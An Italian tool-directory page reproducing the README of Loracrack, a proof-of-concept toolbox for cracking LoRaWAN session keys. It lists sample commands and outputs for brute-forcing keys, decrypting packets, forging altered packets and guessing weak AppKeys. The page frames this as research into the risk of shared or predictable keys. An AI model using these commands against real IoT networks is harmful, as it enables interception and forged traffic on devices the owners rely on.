Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Loracrack — LoRaWAN session cracker - Una PoC per sfruttare chiavi di applicazione deboli o condivise | Kitploit
Strumenti/GitHubGitHub/applied-risk/loracrack
Sicurezza IoTExploitSicurezza WirelessCrittografiaPenetration TestingSicurezza Hardware e IoT
GitHubapplied-risk/loracrack

Loracrack

LoRaWAN session cracker - Una PoC per sfruttare chiavi di applicazione deboli o condivise

Vedi Repository
19734 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Loracrack - Cracker di sessioni LoRaWAN

Una PoC per sfruttare chiavi Application Keys deboli o condivise

Creato da Sipke Mellema di Applied Risk

Questa è una Proof-of-Concept per dimostrare i pericoli dell'utilizzo della stessa AppKey su più nodi LoRaWAN.

Questo repository contiene una toolbox per craccare le chiavi di sessione LoRaWAN da pacchetti catturati. Lo scenario di attacco presuppone che tu conosca l'AppKey ma abbia perso l'handshake. Oppure che l'AppKey non sia casuale e possa essere indovinata.

Gli handshake LoRa utilizzano tre valori per generare le chiavi di sessione: AppNonce | NetID | DevNonce AppNonce e NetID sono di 3 byte, mentre DevNonce è di 2 byte. Parte del NetID è nota, quindi rimangono 57 bit di entropia. E a causa di difetti di implementazione questo valore può scendere ulteriormente.

Compilazione e utilizzo

Basta eseguire make. Nota che potresti dover collegare una posizione di openssl 1.0.* nel Makefile.

Panoramica degli strumenti

loracrack

./loracrack -k <AppKey in hex> -p <raw_packet in hex>

Cracca le chiavi di sessione se l'handshake (join-accept) è stato perso ma l'AppKey è nota. Il cracking viene eseguito generando le chiavi di sessione e verificando il MIC.

root@kitploit:~
$ ./loracrack -k 88888888888888888888888888888888 -p 400267bd018005000142d9f48c52ea717c57

4899be88e40088c40abc703fa3ba1195 04068f88b9feee5385c67e033d911b4a
root@kitploit:~
Argomenti opzionali:
	-t thread
	-v verbose (0, 1 o 2)
	-m AppNonce massimo

loracrack_knownpt

./loracrack_knownpt -k <AppKey in hex> -p <raw_packet in hex> -d <plain_text in hex>

Cracca le chiavi di sessione se l'handshake (join-accept) è stato perso ma l'AppKey e il testo in chiaro sono noti. Il cracking viene eseguito decrittando il FRMPayload e verificando il testo in chiaro. È più veloce del controllo del MIC, poiché il CMAC utilizza più operazioni AES.

root@kitploit:~
$ ./loracrack_knownpt -k 88888888888888888888888888888888 -p 400267bd018005000142d9f48c52ea717c57 -d 33302e3332

4899be88e40088c40abc703fa3ba1195 04068f88b9feee5385c67e033d911b4a
root@kitploit:~
Argomenti opzionali:
	-t thread
	-v verbose (0, 1 o 2)
	-m AppNonce massimo

loracrack_decrypt

./loracrack_decrypt -k <decrypt key in hex> -p <raw_packet in hex>

Decritta i dati del pacchetto se la chiave di sessione è nota.

root@kitploit:~
$ ./loracrack_decrypt -k 4899be88e40088c40abc703fa3ba1195 -p 400267bd018005000142d9f48c52ea717c57

30.32

loracrack_alterpacket

./loracrack_alterpacket -p <raw_packet in hex> -a <AppSKey in hex> -n <NwkSKey in hex> -c <Fctn> -d <new data in hex>

Modifica il pacchetto con nuovi dati, mantenendo elementi esistenti come DeviceAddr.

root@kitploit:~
$ ./loracrack_alterpacket -p 400267bd018005000142d9f48c52ea717c57 -a 4899be88e40088c40abc703fa3ba1195 -n 04068f88b9feee5385c67e033d911b4a -c 5 -d 33302d3332

400267bd018005000142d9f78c521c78573b

loracrack_genkeys

./loracrack_genkeys -k <AppKey in hex> -j <join_packet in hex> -a <accept_packet in hex>

Genera le chiavi di sessione dati l'handshake (pacchetti join e accept) e l'AppKey.

root@kitploit:~
$ ./loracrack_genkeys -k 88888888888888888888888888888888 -j 0000000000000000002bd61f000ba304000e1ba147157a -a 20adf6e18980952590fc1f7987a6913f35

4e1dcaf4f02fcd2ecbb1cb0d138fc53d 96eb9e13f0a3468ca580707ee688ee19

loracrack_guessjoin

./loracrack_guessjoin -p <raw_packet in hex> -f <file with AppKeys in hex>

Verifica se vengono utilizzate AppKey prevedibili controllando il MIC su un pacchetto join. Le AppKey vengono prese da un file con AppKey codificate in hex su nuove righe.

root@kitploit:~
$ ./loracrack_guessjoin -p 0000000000000000002bd61f000ba304002f3b5785cf80 -f guessjoin_genkeys/simplekeys

88888888888888888888888888888888
Scarica lo strumento